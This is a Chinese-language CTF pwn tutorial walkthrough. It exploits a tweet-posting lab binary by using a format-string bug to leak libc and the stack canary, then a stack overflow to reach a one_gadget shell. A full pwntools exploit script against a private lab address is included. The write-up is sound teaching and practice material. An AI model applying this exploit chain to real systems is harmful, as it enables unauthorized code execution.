程序防御全开,shellcode修改got表等方法都不太可行,同时pie开启也使程序代码随机化了。
这是一个发推特的程序,具体功能不在这里细说,这个程序有两个漏洞: 一个是存在在功能1中的格式化字符串漏洞,在函数sub_55D83D2C4F00中
经过分析能够发现,a1是咱们输入的值,因此这里咱们能够输入格式化字符串泄露栈上的地址 第二个是存在在功能2中的栈溢出漏洞,在函数sub_55D832C5000中
因为这个函数的调用没有靠传统的rbp,而是靠sub rsp与add rsp来分配回收栈帧的,因此溢出字节数须要本身测算一下
因为程序给了libc,咱们用one gadget工具看看能够跳转到那些地址能get shell
咱们能够选用第一个,只要让返回地址返回到内存中gadget位置便可(须要注意控制rax的值为0)。 找到getshell的方法后,咱们的思路就很清晰了,首先咱们输入构造好的格式化字符串和password(程序中能找到),泄露栈上的libc中stdin的地址,而后减去stdin在libc中的偏移再加上0x45526就能获得gadget在内存中的起始地址,而后调用有栈溢出的函数,让返回地址指向gadget,就能成功pwn掉程序get shell
from pwn import * context.update(os = 'linux', arch = 'amd64') io = remote('172.17.0.2', 10001) io.sendline('1') #使用功能1触发格式化字符串漏洞 io.recv('username: ') io.sendline('%p.'*8) #格式化字符串泄露libc中的地址和canary io.recvuntil('password: ') io.sendline('n07_7h3_fl46') #密码硬编码在程序中,能够直接看到 leak_data = io.recvuntil('[MicroWave]: ').split()[1].split('.') leak_libc = int(leak_data[7], 16) #经过调试可知,stdin在printf的第8个参数 one_gadget_addr = leak_libc - 0x3c26f0 + 0x45526 #计算one gadget RCE地址(0x3c26f0和0x45526分别为stdin跟gadget在libc中的偏移) canary = int(leak_data[5], 16) #经过调试可知,canary在printf的第6个参数 log.info('Leak canary = %#x, one gadget RCE address = %#x' %(canary, one_gadget_addr)) payload = "A"*1032 #padding payload += p64(canary) #正确的canary,canary在栈上与返回地址有8个字节的差距 payload += "B"*8 #padding payload += p64(one_gadget_addr) #one gadget RCE io.sendline('2') #使用有栈溢出的功能2 io.recvuntil('#> ') io.sendline(payload) sleep(0.5) io.interactive()
Linux pwn入门教程(9)linux